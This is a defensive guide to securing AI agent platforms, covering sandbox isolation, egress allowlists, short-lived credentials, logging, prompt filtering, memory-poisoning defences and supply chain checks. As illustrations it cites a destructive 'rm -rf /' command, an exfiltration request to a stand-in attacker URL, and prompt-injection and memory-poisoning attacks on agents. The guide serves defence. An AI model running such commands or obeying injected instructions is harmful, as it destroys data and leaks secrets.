1. Sandbox isolation
Isolate each agent’s execution environment so that accidents and attacks stay contained in the sandbox.One session, one environment
Give every AI agent session its own disposable container or VM. When several agents share an environment, one agent’s file edits collide with another’s. Credentials cross between sessions, and you lose the ability to trace what each agent did. Firecracker microVMs, containers such as Docker or Podman, and managed services such as AWS Lambda, ECS, Google Cloud Run, and GKE all work. Destroy the environment when the session ends.Blast radius containment
An AI agent with shell access can run any command. Without isolation, one mistake or one prompt injection attack destroys host files and reaches other workloads. Destructive actions such asrm -rf / have to stay contained inside the sandbox. Make the root filesystem read-only wherever you can, and mount only the working directory that needs writes. Drop every unnecessary Linux capability and run as a non-root user inside the container.
2. Network controls
Restrict the agent’s outbound traffic to close off exfiltration paths.Egress allowlisting
An agent under an indirect prompt injection attack can send confidential data to an attacker’s endpoint withcurl or any HTTP library. A single request to https://attacker.example/collect?data=<secret> is enough to get the data out. Limit outbound traffic to a domain-based allowlist. For coding agents, permit only what you need, such as github.com, npmjs.org, pypi.org, and your own container registry, and deny all other outbound traffic. Cloud NGFW with FQDN rules works on Google Cloud, and a VPC paired with a forward proxy works on AWS.
HTTP-level inspection
A domain allowlist alone won’t stop data leaving through URL parameters, headers, or request bodies aimed at an already-permitted domain. In sensitive environments, route traffic through a forward proxy such as Squid or Envoy, and inspect and log request URLs, headers, and payloads. Block requests that carry signs of exfiltration.3. Credential management
Limit the permissions and credentials the agent receives, and reduce the damage when one leaks.Least privilege
Assume an AI agent will perform every operation its permissions allow. Excess permissions scale up the damage from prompt injection and from ordinary mistakes. Before handing over any credential, document which resources the agent touches and which operations it performs, and keep access read-only unless writes are clearly required. For agents shared by several people, confirm that the agent’s permissions never exceed those of the individual user. See Confused Deputy Problem for details.Short-lived credentials
A long-lived API key that leaks through prompt injection or a log stays exploitable until it expires. With LLM assistance, attackers move from a foothold to admin privileges in minutes. Every credential you give the agent should expire quickly, within roughly an hour, issued through OIDC-based token exchange with Workload Identity. On GitHub, use a GitHub App installation access token that expires in an hour rather than a personal access token. Never place a long-lived API key in the agent environment.Credential injection proxy
Even a short-lived credential can leak while it’s still valid. If the agent never holds one, the risk of direct leakage all but disappears. Put a credential injection proxy such as WardGate in front of the agent to attach authentication headers to outbound HTTP requests before forwarding them. The agent knows only the proxy URL and never touches a credential. You can also expose unauthenticated remote MCP servers reachable only from inside the agent’s network.Commit signing without long-lived keys
Plenty of organizations require signed commits, yet GPG and SSH keys are long-lived and highly sensitive, which makes them a prime target once they sit in a sandbox. Commits created through the GitHub GraphQL API are signed automatically, so use ghcommit, which wraps that API in a CLI, together with a GitHub App installation access token that expires in an hour. No key ever enters the agent environment.Recoverability of affected resources
AI agents make incorrect updates and deletions, and third-party services don’t always let you restore what was lost through their own features. Every resource the agent can modify or delete needs a recovery path. Snapshot or back up resource state before the agent acts. For source code, use Branch Rulesets to block direct pushes to the default branch and require PR review. Put a human in the loop for actions you can’t undo, such as sending email.4. Observability
Record the agent’s behavior at multiple layers so that investigation and detection are possible.Agent action logs
During an incident you have to reconstruct exactly when the agent did what, and with which parameters. Without action logs there is no investigation. Record every tool call, command execution, and MCP server invocation with a timestamp by building action logging into the agent itself. When logs don’t reach standard output, as withclaude -p in Claude Code CLI, collect them from the ~/.claude directory. Store them in a centralized append-only log store with a defined retention period.
LLM API proxy logs
Logs at the LLM layer preserve the agent’s reasoning, and you need them to understand why the agent took a particular action. Call the LLM API through a proxy such as LiteLLM and record prompts, completions, token counts, and latency. Consider pairing it with something like cencurity, which detects dangerous responses by policy and stops them.Agent instrumentation
Individual LLM calls don’t show you the whole picture. You need to follow which tools ran in what order, how context moved between steps, and where things failed. Add instrumentation libraries such as Datadog LLM Observability, LangSmith, or Arize Phoenix to your agent framework to trace workflows that span multiple steps.Runtime security
Some threats never surface at the LLM layer. A malicious command, a hallucinated package getting installed, an unexpected process: all of these are visible only from the OS. Run a runtime security tool such as Falco inside the sandbox to monitor commands and processes, and expect to tune the rules, since false positives are common. Include supply chain risks like slopsquatting, where an agent installs a package name that never existed.5. Prompt filtering
Put filtering on input and output while building a defense that doesn’t rely on it alone.Enable prompt guardrails
Prompt filtering gives you a baseline defense against prompt injection, data exfiltration through prompts, and harmful output. Apply it to both input and output. Enable Model Armor on Google Cloud or Bedrock Guardrails on AWS. To cover several agents at once, implement filtering at the proxy layer with something like LiteLLM Guardrails.Defense in depth beyond filtering
Prompt filtering can’t block every attack. Attacks shaped like legitimate instructions, such as agent goal hijacking, are harder to catch than a direct instruction override. Treat filtering as one layer of defense in depth and let the platform controls on this page carry the weight: least privilege, a credential injection proxy, egress allowlists, and a human in the loop. Filtering stops the obvious attacks while platform design limits the blast radius of the subtle ones.6. Long-lived shared LLM memory
Prepare for poisoning in LLM memory that outlives a session.Namespace isolation for memory
When several agents share one memory space, a single poisoned entry planted through indirect prompt injection persists and spreads to every agent that reads it. The Zombie Agents attack demonstrates this. Scope LLM memory per agent or per session, with strictly separate namespaces. Where sharing is unavoidable, validate content at write time through filtering or a human in the loop.Memory audit logs
Once memory is contaminated, you need to trace back to which agent wrote the entry and when, and which agents then consumed it. Record the agent ID, session ID, timestamp, and a content hash on every read and write, and alert on unusual write patterns.7. Supply chain security
Make sure the components the agent is built from can be trusted.Component verification
An Agent Platform handles significant permissions, and a compromised framework or MCP server in the supply chain leads straight to credential theft and data exfiltration. Verify where your agent frameworks, MCP servers, and Agent Skills come from, and pin dependencies to exact versions or content hashes. Audit and update them on a schedule, and refer to container images by digest such asimage@sha256:... rather than by a mutable tag.